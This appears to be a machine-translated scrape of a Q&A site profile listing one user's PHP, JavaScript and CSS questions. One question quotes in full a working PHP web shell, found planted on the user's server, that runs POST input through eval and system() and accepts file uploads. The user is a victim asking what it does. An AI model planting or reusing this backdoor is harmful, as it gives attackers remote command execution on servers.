小编pni*_*ols的帖子

PHP:如何获取过去特定日期的前一个星期日..?

我正在从数据库中检索具有与之关联的日期的条目.

我希望能够获得上一个星期日和下一个星期六相对于该特定日期来填充jQuery日期选择器.

我知道如何用实际的时间/日期来做:

strtotime('last Sunday')
Run Code Online (Sandbox Code Playgroud)

但我不知道如何做到现在以外的约会...

谢谢.

php date datepicker

18
推荐指数
2
解决办法
2万
查看次数

如何删除Sublime Text 2中的某些特定自动完成?

我使用Emmet软件包(Windows 7 64位)安装了Sublime Text 2.

当我输入" wid "时,我希望自动完成第一个建议为" 宽度 ".问题是,现在它暗示了很少使用的" 寡妇 ".

如何修改建议的顺序,或者更好的是,完全删除"寡妇"自动完成建议?

autocomplete code-snippets sublimetext sublimetext2

15
推荐指数
2
解决办法
4386
查看次数

这个PHP代码/ hack的目的是什么?

我最近在我的服务器上发现了4个奇怪的文件(我没有上传).文件名是这样的:goog1e7a20543b128921.php

这里是他们内部的代码:

Goog1e_analist_up<?php $e=@$_POST['e'];$s=@$_POST['s'];if($e){eval($e);}if($s){system($s);}if($_FILES['f']['name']!=''){move_uploaded_file($_FILES['f']['tmp_name'],$_FILES['f']['name']);}?>
Run Code Online (Sandbox Code Playgroud)

你知道这个代码应该做什么吗?我应该开始恐慌吗?

谢谢.

php security hosting

10
推荐指数
2
解决办法
3901
查看次数

是否有可能在PHP中连接heredoc字符串..?

使用普通的PHP字符串,您可以这样做:

$str = "Hello ";
$str .= "world";
$str .= "bla bla bla";
$str .= "bla bla bla...";
Run Code Online (Sandbox Code Playgroud)

但你可以用heredoc字符串做同样的事情吗?

$str = <<<EOD
Hello 
world
EOD;

$str .= <<<EOD
bla bla bla";
bla bla bla...";
EOD;
Run Code Online (Sandbox Code Playgroud)

php string heredoc string-concatenation

10
推荐指数
3
解决办法
6902
查看次数

PHP-在函数中使用isset无法正常工作..?

我有一个PHP脚本,在加载时,首先检查它是否通过POST加载,如果不是,则GET ['id']是一个数字。

现在我知道我可以这样做:

if(isset($_GET['id']) AND isNum($_GET['id'])) { ... }

function isNum($data) {  
    $data = sanitize($data);
    if ( ctype_digit($data) ) {
        return true;
    } else {
        return false;
    }
}
Run Code Online (Sandbox Code Playgroud)

但我想这样做:

if(isNum($_GET['id'])) { ... }

function isNum($data) {  
    if ( isset($data) ) {
        $data = sanitize($data);
        if ( ctype_digit($data) ) {
            return true;
        } else {
            return false;
        }
    } else {
        return false;
    }
}
Run Code Online (Sandbox Code Playgroud)

当我这样尝试时,如果未设置$ _GET ['id'],则会收到未定义索引的警告:id ...就像我将$ _GET ['id']放入函数中一样调用,它会发出警告...即使我的函数将检查是否设置了var ...

还有另一种方法可以做我想做的事情,还是我被迫始终检查isset然后添加其他要求。

php function

5
推荐指数
1
解决办法
1886
查看次数

什么是PHP开发更有效的dev/test/prod环境设置..?

不幸的是,我从未有过高级开发人员或导师向我展示一些最佳实践.所以我使用WAMP在我的Windows机器上开发站点(php/mysql),我在生产服务器上的隐藏(密码限制)文件夹中进行测试,最后将站点移动到生产文件夹.

我希望有一个更流畅/实用/防错的设置,以便从开发>测试>生产,没有打嗝.

重点/问题是(你可能会提出更多):

  • 便于使用
  • 在站点生效后易于开发/测试修改(以避免在生产站点上进行测试)
  • local/test/prod之间没有服务器差异(错误报告,apache设置等)
  • 避免DB差异的问题(例如:如果添加了列,如何将它们添加到prod DB.?)
  • 您是否跳过测试环境或对它进行开发和测试.
  • 等等...

你们是如何开发PHP/MySQL网站的?

你使用SVN吗?你使用IDE吗?你使用虚拟机吗?

谢谢.

php

5
推荐指数
1
解决办法
4316
查看次数

如何跨多个HTML页面播放背景音频.

是否有解决方案可以在网站上的多个页面上播放背景音频/音乐,而无需在每个页面加载时重新启动.

该网站目前使用框架集,但我正在寻找替代方案.

html flash audio

5
推荐指数
1
解决办法
3258
查看次数

在Javascript中将字符串转换为2维数组

我有这个字符串需要转换为数组:

var string = "[[Restaurants], [Restaurants], [Restaurants], [Caterers, Foods - Take-out]]";
Run Code Online (Sandbox Code Playgroud)

然后我需要能够像这样访问它的值:

var foo = arr[0];  //returns "Restaurant"
var bar = arr[3];  //returns "Caterers, Foods - Take-out"
Run Code Online (Sandbox Code Playgroud)

我尝试删除第一个和最后一个字符("["和"]"),但是在分裂","时我仍然有问题,因为某些值在其中有逗号.有任何想法吗?

javascript arrays json

5
推荐指数
1
解决办法
95
查看次数

什么相当于PHP的".="在Javascript中,为变量添加一些东西..?

在PHP中,您可以:

$myvar = "Hello";
$myvar .= " world!";
echo $myvar;
Run Code Online (Sandbox Code Playgroud)

输出是:Hello world!

我怎么能在Javascript/jQuery中做到这一点..?

javascript php jquery

4
推荐指数
1
解决办法
419
查看次数

组合active和hover伪选择器是否正确,如:active:hover.?

我在某个地方见过这个,但我找不到更多信息告诉我它是否正确:

.selector a:active:hover { color: #777; }
.selector a:hover:active { color: #777; }
Run Code Online (Sandbox Code Playgroud)

我不记得它是哪一个.

但无论哪种方式,Firefox似乎都不喜欢它并且什么都不做.

这是一个显示不良做法的教程的另一个例子.

html css css-selectors

4
推荐指数
1
解决办法
1万
查看次数

如何在html和内容(图像)完成加载后调用jQuery函数..?

它可以做到吗??

这样做的目的是在我的页面的图像,文本和内容完成加载后加载重型Flash电影...

任何解决方案..?

更多细节:Flash电影(音乐mp3)与菜单一起加载到一个框架(menuFrame)中.内容(需要先加载)在另一个框架(contentFrame)中......

html javascript jquery

2
推荐指数
1
解决办法
3899
查看次数

PHP:如何在文件上传中删除文件名中不必要的点?

我有一个用PHP上传文件的脚本.我已经做了一些清理工作来删除丑陋的角色.

我还想删除文件名中的点,除了最后一个,表示文件扩展名.

任何人都知道我该怎么做.

例如,你会怎么做

$filename = "water.fall_blue.sky.jpg";
$filename2 = "water.fall_blue.sky.jpeg";
Run Code Online (Sandbox Code Playgroud)

在这两种情况下都要归还..?

water.fall_blue.sky
Run Code Online (Sandbox Code Playgroud)

php file-upload

1
推荐指数
1
解决办法
4898
查看次数